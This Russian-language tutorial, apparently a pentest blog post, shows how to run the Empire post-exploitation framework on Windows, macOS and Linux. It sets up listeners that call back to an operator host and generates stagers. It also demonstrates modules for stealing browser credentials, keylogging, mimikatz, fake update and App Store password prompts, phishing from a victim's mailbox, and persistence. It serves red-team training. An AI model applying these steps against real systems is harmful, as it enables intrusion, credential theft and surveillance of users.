- Установка Empire
- Получение точки опоры
- Listener
- Stager
- Agent
- Эксплуатация и постэксплуатация Windows с Empire
- Базовые опции
- Раздел collection
- Раздел credentials
- Раздел management
- Раздел privesc
- Раздел situational_awareness
- Раздел persistence
- Эксплуатация и постэксплуатация macOS с Empire
- Эксплуатация и постэксплуатация Linux с Empire
- Заключение
Многие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если вы опытный пентестер или редтимер, я думаю, вы отметите для себя что-то новое и полезное.
Еще по теме: Актуальные техники взлома WiFi
Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта spy-soft.net, ни автор статьи не несут ответственности за любой возможный вред, причиненный информацией из этой статьи.
Если вы новичек в пентесте, тогда рекомендую, для начала обратится к инструкции по использованию Metasploit.
Установка Empire
Если вы используете Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду:
1 |
sudo apt install powershell-empire |
Если на вашем компьютере другая операционная система, нужно скачать файлы проекта и установить их вручную.
1 2 3 |
git clone https://github.com/BC-SECURITY/Empire.git cd Empire sudo ./setup/install.sh |
Собственно, все: фреймворк Empire установлен в вашей системе.
Получение точки опоры
Перед тем как мы рассмотрим сам программный комплекс, давайте разберемся со следующими понятиями:
- Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;
- Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;
- Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;
- Module — код, выполняемый Agent’ом для достижения определенных целей.
Запустим Empire командой powershell-empire. Вы увидите такое окно.
Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).
Listener
Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.
Сейчас у нас нет активных листенеров. Создать его можно командой uselistener, но давайте посмотрим, какие типы листенеров нам может предложить Empire.
1 |
uselistener <TAB> |
Поясню, что здесь что:
- dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);
- http — обычный HTTP/HTTPS-листенер;
- http_com — HTTP/HTTPS-листенер, использующий объект IE COM;
- http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;
- http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);
- http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;
- meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;
- onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)
- redirector — инструмент для перехода от одного агента к другому.
С типами листенеров разобрались, а теперь давайте посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).
1 |
uselistener http |
Получить справку по выбранному листенеру можно командой nfo.
Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.
1 2 3 |
set Name l1 set Host http://192.168.6.1 set Port 4321 |
И запустим листенер командой execute.
Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.
Переходим ко второй стадии.
Stager
Давайте по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.
Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:
- bash — обычный Bash-скрипт;
- launcher — так называемый one-liner-код на определенном скриптовом языке;
- macro — макрос для офисных приложений;
- pyinstaller — ELF-файл, собранный с помощью PyInstaller;
- war — просто набор байтов для модернизации нагрузки;
- applescript — файл AppleScript;
- application — файл Application;
- ducky — так называемый скрипт Rubber Ducky;
- dylib — динамическая библиотека macOS;
- jar — нагрузка в JAR-формате;
- machomacOS — офисный макрос для macOS;
- pkg — установщик PKG (должен быть скопирован в директорию /Applications);
- safari_launcher — HTML-нагрузка;
- shellcode — обычный Windows-шелл;
- teensy — Teensy-скрипт;
- backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;
- bunny — скрипт Bash bunny;
- csharp_exe — приложение PowerShell/C#;
- dll — нагрузка в виде DLL;
- hta — HTA-нагрузка для IE;
- macroless_msword — документ macroless;
- wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).
Давайте выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.
Как и в случае с листенером, посмотрим параметры командой info.
Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давайте укажем листенер и путь к итоговому файлу, после чего создадим stager.
1 2 3 |
set Listener l1 set OutFile /home/ralf/tmp/l1.bat execute |
Файл с нагрузкой создан по указанному пути.
Agent
Нам нужно выполнить bat-файл на целевом хосте. Вы увидите сообщение о подключении.
Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.
Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).
1 2 |
rename LVKP4HN3 al1 interact al1 |
Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.
Эксплуатация и постэксплуатация Windows с Empire
Базовые опции
К базовым опциям относятся те функции, которые реализованы в Empire без участия сторонних модулей. Так что пробежимся по тем, которые приходится часто применять:
- sysinfo — предоставляет информацию о системе на удаленном хосте;
- download/upload — позволяет загрузить файлы на удаленный хост или с него (подобные команды реализованы уже, наверное, везде);
- sleep — устанавливает интервал обмена сообщениями с агентом. Таким образом, если установить интервал в 60 секунд, то агент будет принимать от оператора команду и загружать ее в очередь, а затем раз в минуту очищать очередь и предоставлять информацию;
- steal_token — модуль имперсонации токена доступа;
- shell [cmd] — позволяет выполнить команду черед cmd.exe;
- ps — выводит список процессов с указанием имени процесса, его PID, пользователя, в контексте которого работает процесс, и занимаемую процессом память;
- psinject — внедряет агент в другой процесс;
- scriptimport — позволяет загрузить PowerShell-скрипт в память;
- mimikatz — простое быстрое выполнение sekurlsa::logonpasswords;
- creds — локальное хранилище учетных данных (паролей, хешей), предоставляет оперативную работу с ними. Хеши заполняются автоматически при использовании разных модулей, но также возможно их ручное добавление и удаление. К примеру, упомянутая команда mimikatz собрала некоторые учетные данные. Давайте взглянем на них.
Это не все «быстрые команды» Empire, а, как упоминалось, те, которые мы используем постоянно.
Для подключения дополнительных модулей следует использовать команду usemodule, а если вам необходимо найти какой-то модуль, для этого есть команда searchmodule.
Раздел collection
Давайте рассмотрим модули из данного раздела, которыми мы часто пользуемся. Так как почти всегда приходится вытаскивать пароли и данные из браузеров, тут на помощь приходят следующие инструменты:
- collection/ChromeDump;
- collection/FoxDump;
- collection/SharpChromium.
Запустим модуль командой run или execute. При этом Empire сообщает, что использование данного модуля нарушает правила скрытности, и спрашивает, хотим ли мы продолжить.
В результате мы получаем все куки, историю запросов и сохраненные учетные данные.
Следующие интересные возможности — искать файлов с помощью модуля collection/file_finder и получить дамп нужного процесса с помощью модуля collection/minidump. А для отслеживания вводимой пользователем информации можно легко активировать кейлоггер — collection/keylogger. Для примера откроем блокнот и напишем слово test — это действие будет зафиксировано Empire.
С помощью collection/clipboard_monitor мы отслеживаем, что попадает в буфер обмена.
Наконец, самые замечательные функции этого раздела связаны с фишингом. Когда нам необходимо получить пароль и все потенциальные точки входа не прошли проверку, можно «попросить» у пользователя его учетные данные! Сделать это помогают модули collection/prompt или collection/toasted. Я приведу пример использования toasted: на экране юзера выводится уведомление (можно придумать какие угодно условия, но мы используем перезагрузку, так как никто не захочет прерывать работу с документами), на которое он реагирует. Независимо от его выбора появится окно авторизации, учетные данные из которого мы и получим.
1 2 3 4 5 6 7 |
usemodule collection/toasted set ToastTitle "Ваш сеанс работы будет прекращен" set ToastMessage "Cистема будет перезагружена через 5 минут. Хотите ли вы отложить перезагрузку?" set Application "Служба обновлений Windows" set CredBoxTitle "Вы уверены, что хотите перезагрузить ваш ПК?" set CredBoxMessage "Для выполнения данного действия требуется аутентификация" run |
Еще по теме: Взлом двухфакторной аутентификации с помощью Modlishka
При этом у данных модулей есть параметр VerifyCreds, установив который в True мы обяжем Empire проверить эти учетные данные на подлинность, перед тем как показать их нам. Если пользователь ввел некорректные учетные данные или просто опечатался, Empire запросит их снова.
Раздел credentials
Об этом разделе рассказывать особо нечего. Он представляет собой полностью реализованное на PowerShell и вставленное в Empire программное обеспечение mimikatz.
Использовать этот инструмент проще простого, поэтому переходим к следующему разделу.
Раздел management
В этом разделе есть несколько крутых фишек. Первая из них — это легкое включение и отключение RDP для пользователя. Для этого применяются модули management/enable_rdp и management/disable_rdp. Да, Empire снова предупреждает, что это палевно!
В Empire также встроен инструмент EmailRaider, предназначенный для просмотра и отправки фишинговых писем с помощью собственного клиента Outlook от имени пользователя. На самом деле из большого списка довольно мощных модулей management/mailraider/ мы пользуемся только одним, который отвечает за отправку писем, — management/mailraider/send_mail.
С использованием этого инструмента мы заполняем текст сообщения и делаем рассылку. Как правило, получив письмо от известного отправителя или другого сотрудника компании, жертва охотнее запустит файл (пусть и подозрительный) или перейдет по ссылкам.
И последний модуль, который используется для наблюдения, — management/vnc. Запустим у себя VNC-прослушиватель (я использую Remmina) и выполним обратное подключение.
Раздел privesc
Раздел с повышением привилегий полезен только для ограниченного круга быстрых проверок, а также из-за модуля privesc/getsystem, который позволяет перейти в контекст SYSTEM. В Empire встроены два известных скрипта: privesc/sherlock, который проверит наличие в атакуемой системе CVE-уязвимостей, и модуль privesc/powerup/allchecks — он поищет пути повышения привилегий (к примеру, подменить файл службы).
Раздел situational_awareness
Это очень полезный раздел, с которого обычно и стоит начинать эксплуатацию. Отметим два важных модуля — situational_awareness/host/antivirusproduct и situational_awareness/host/applockerstatus. Первый предоставляет информацию об используемых на атакуемом хосте антивирусах, второй дает сведения об AppLocker.
Благодаря модулю situational_awareness/host/computerdetails мы можем посмотреть события 4648 (RDP) и 4624 (входы в систему) из журнала событий, а также журналы AppLocker, запуск PSScripts и сохраненные сеансы RDP.
Очень часто приходится сканировать SPN в сети, и в этом очень помогает модуль situational_awareness/network/get_spn. Похожим образом модули situational_awareness/network/powerview/get_domain_trust и situational_awareness/network/powerview/map_domain_trust облегчают задачу поиска трастов, так как позволяют рекурсивно перечислять все достижимые доверительные отношения домена с текущей позиции в сети. Но круче всего (по моему мнению) в этом разделе модуль situational_awareness/network/bloodhound3.
С помощью этого средства мы загружаем полученные от BloodHound файлы и можем их анализировать на своей локальной машине.
Раздел persistence
Первым делом упомяну о некоторых методах персистентности:
- SID History — реализован в модуле persistence/misc/add_sid_history;
- SSP — реализован в модуле persistence/misc/memssp;
- Skeleton Key — реализован в модуле persistence/misc/skeleton_key.
Но перечисленные методы — это пользовательская персистентность. Она нам понадобится, когда пользователь выключит или перезагрузит компьютер, чтобы мы смогли войти и снова запустить сеанс Empire. Но чтобы избежать подобного неудобства, в Empire есть и свои модули персистентности сеанса. Мы используем один из двух модулей: persistence/elevated/registry или persistence/elevated/wmi, разница только в том, что первый основан на закреплении через реестр, а второй через WMI.
Empire сообщает, что мы успешно закрепились. Для примера посмотрим список агентов и перезагрузим систему. После включения ПК у нас появился новый агент!
С Windows все, а теперь давайте посмотрим, что мы можем получить от Empire при эксплуатации других систем.
Эксплуатация и постэксплуатация macOS с Empire
Базовые модули агента macOS схожи с базовыми модулями агента Windows, но есть отличие: вместо PowerShell используется Python. Таким образом, вместо модуля scriptimport присутствует модуль pythonscript. Также имеется модуль loadpymodule для загрузки целых программ. Загружаемый файл должен представлять собой ZIP-архив, содержащий скрипты, написанные на Python, или пакеты. Обязательно должен присутствовать файл __init__.py.
Арсенал самих модулей для macOS куда скромнее, если сравнивать с Windows. Так, модуль collection/osx/browser_dump способен извлечь историю запросов браузера, но не покажет куки и пароли. А модули для отслеживания ввода пользователя вовсе работают иначе: кейлоггер collection/osx/keylogger сохраняет историю на удаленной машине в файл, который нам приходится скачивать, а для того, чтобы мониторить буфер обмена с помощью модуля collection/osx/clipboard, нужно указать ему время работы в секундах.
Но вот что работает безупречно — так это фишинг, а именно модуль collection/osx/prompt.
Среди прочего Empire позволяет запустить App Store и попросить пользователя указать пароль, который мы незамедлительно получим.
Несмотря на то что я уже настраивал кейлоггер, как только был введен пароль, он отобразился в окне Empire. Как правило, схема эксплуатации Empire на Mac очень проста и успешно выполнима в 80% случаев:
- Фишинговое письмо с нагрузкой -> получение Empire-агента.
- Использование модуля collection/osx/prompt -> получение пароля (как правило, sudo).
- Использование модуля privesc/multi/sudo_spawn для получения агента в контексте sudo.
- Закрепление в системе с использованием модуля persistence/osx/loginhook.
Сложилось мнение, что на маках в основном обрабатывают информацию и готовят отчеты. Поэтому единственное, для чего его стоит захватывать, — это наблюдение за пользователем. Вся описанная выше атака занимает по времени не больше 10–15 минут. Даже если пользователь не хочет вводить пароль, на третий-четвертый раз он смирится и все равно его наберет.
Имея учетные данные sudo, можно наблюдать за действиями пользователя с помощью модуля management/osx/screen_sharing, который обеспечит вам VNC. В целом повторюсь, захват макa — это легко и быстро, и, как правило, основным инструментом атакующего служит фишинг.
Эксплуатация и постэксплуатация Linux с Empire
Работа с базовыми модулями Empire в Linux не отличается от работы на маке. Точно так же, как и с маком, работает кейлоггер collection/linux/keylogger. Но в Linux-версии присутствует хороший модуль privesc/linux/linux_priv_checker, который собирает со всей системы информацию (и помогает искать вектор повышения привилегий на Linux). Среди собираемых данных нужно перечислить следующие:
- основная информация о системе;
- работающие процессы;
- интересные файлы;
- файлы, доступные для записи;
- логи, в которых встречается слово password;
- настройки судоера;
- версия ПО и информация о нем из баз exploit-db;
- доступные на хосте средства разработки.
Для перехода в контекст суперпользователя нам необходимо знать его пароль. Для этого можно задействовать тот же модуль, что и для макa, — privesc/multi/sudo_spawn. В качестве параметра нужно задать листенер и пароль sudo.
1 2 3 4 |
usemodule privesc/multi/sudo_spawn set Password user set Listener l1 run |
В результате в списке агентов Empire появляется новый агент, работающий от имени root.
После получения прав суперпользователя мы применяем два модуля Empire. Первый, collection/linux/mimipenguin, позволяет собрать служебные пароли из разных мест. Но он не идеален, поэтому для работы в этой области обычно используются другие средства. Второй модуль — это persistence/multi/crontab, помогающий закрепиться в системе за счет использования crontab.
Этому модулю требуется указать имя файла, который будет выполняться в определенные промежутки времени. Самый простой способ — загружать тот же stager Empire.
Заключение
Напоследок стоит упомянуть, что для PowerShell Empire существуют и автоматические сценарии, позволяющие собирать информацию в системе или распространяться по сети. Один из них — DeathStar (автоматизирует частые сценарии атак на Windows).
Еще по теме: Атака Pass the Hash с помощью Metasploit и модуля PsExec
Интересная статья. Автор все понятно рассказал про empire.
Спасибо!
Хороший ман. Респект!
Часть модулей на execute выдают [!] Error: module needs to run in an elevated context.
Как бороть?